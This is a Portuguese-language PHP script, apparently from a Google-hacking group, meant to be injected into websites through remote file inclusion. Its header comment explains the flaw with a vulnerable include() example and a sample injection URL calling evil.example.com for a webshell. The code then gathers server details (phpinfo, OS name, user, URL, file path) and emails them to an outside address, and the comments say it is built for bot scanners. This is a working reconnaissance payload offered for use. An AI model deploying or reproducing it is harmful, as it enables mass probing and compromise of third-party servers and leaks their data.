<?php
/*
Script Teste RFI 1.0 Googleinurl - Brasil
By: Cleiton Pinheiro.
Blog.inurl.com.br
GoogleINURL - Brasil pesquisa avançada.
Grupo voltado a busca detalhada no motor de pesquisa google. Utilizando operadores especiais google O que é Google hacking?
É uma pirataria de informática técnica que utiliza o
Google Search e outras Google aplicativos para encontrar falhas de segurança
na configuração e código de computador
/////////////////////////////////////////////////////////////////////////////////////////////
RFI:
Inclusão de arquivos remotos (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites. Ele permite que um atacante para incluir um arquivo remoto, geralmente através de um script no servidor web. A vulnerabilidade ocorre devido ao uso de entrada fornecido pelo usuário, sem a devida validação. Isto pode conduzir a algo tão mínima quanto a saída do conteúdo do ficheiro, mas, dependendo da gravidade, para uma lista de alguns, pode levar a:
Execução de código no servidor web
Execução de código no lado do cliente, tais como JavaScript, o que pode levar a outros ataques, tais como cross-site scripting (XSS).
Negação de Serviço (DoS)
O roubo de dados / Manipulação.
Considere este script PHP (que inclui um arquivo especificado pelo pedido):
Sem nem tipo de validação.
exemplo code:
<?php
$color = 'blue';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
include( $color . '.php' );
?>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
O programador destina apenas blue.php red.php e para ser usado como opcionais. Mas, como qualquer pessoa pode facilmente inserir valores arbitrários na cor, é possível injetar um código de arquivos:
Nunca se dever setar uma variável Get sem filtrar seu conteúdo.
/vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - Injeta um arquivo hospedado remotamente contendo um código malicioso no caso uma shell.
Referencia: http://en.wikipedia.org/wiki/Remote_file_inclusion
Esse script pode ser usado em botscanner's.
Alem os possiveis vulner's serão enviados para seu email,"Os que possuirem sendmail"
O envio de informações é feito atraves da function mail();
Referencia: http://php.net/manual/pt_BR/function.mail.php
*/
ob_start();
phpinfo();
$phpinfo = array('phpinfo' => array());
if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER)){
foreach($matches as $match){
if(strlen($match[1]))
$phpinfo[$match[1]] = array();
elseif(isset($match[3]))
$phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
else
$phpinfo[end(array_keys($phpinfo))][] = $match[2];
}
}
ini_set("max_execution_time",-1);
set_time_limit(0);
$user = @get_current_user();
$uname = @php_uname();
$data = date('h-i-s, j-m-y, it is w Day z');
$safemode = @ini_get('safe_mode');
$url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$caminho = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - strlen(strrchr($_SERVER['SCRIPT_FILENAME'], "\\")));
if ($safemode == '') {
$safemode = "OFF";
}
else { $safemode = " $SafeMode ";
}
$dados ="<b>Nome: </b>{$uname}<br>";
$dados.="<b>Safe Mode:</b>{$phpinfo['PHP Core']['safe_mode'][0]}<br />";
$dados.="<b>URL: </b>{$url}<br>";
$dados.="<b>Data: </b>{$data}<br>";
$dados.="<b>Caminho: </b>{$caminho}<br>";
$dados.="<b>System: </b>{$phpinfo['phpinfo']['System']}<br />";
$assunto = "Vulner_inurl";
$email = "google@inurl.com.br";
$headers="From: <$email>\r\n";
$headers.="MIME-Version: 1.0\r\n";
$headers.="Content-type: text/html; charset=iso-8859-1\r\n";
$headers.="X-Mailer: PHP/".phpversion()."\r\n";
if(mail($email,$assunto,$dados,$headers)){
echo $dados;
echo "OK enviado~";
exit();
}
else{
echo "Não foi.";
exit();
}
?>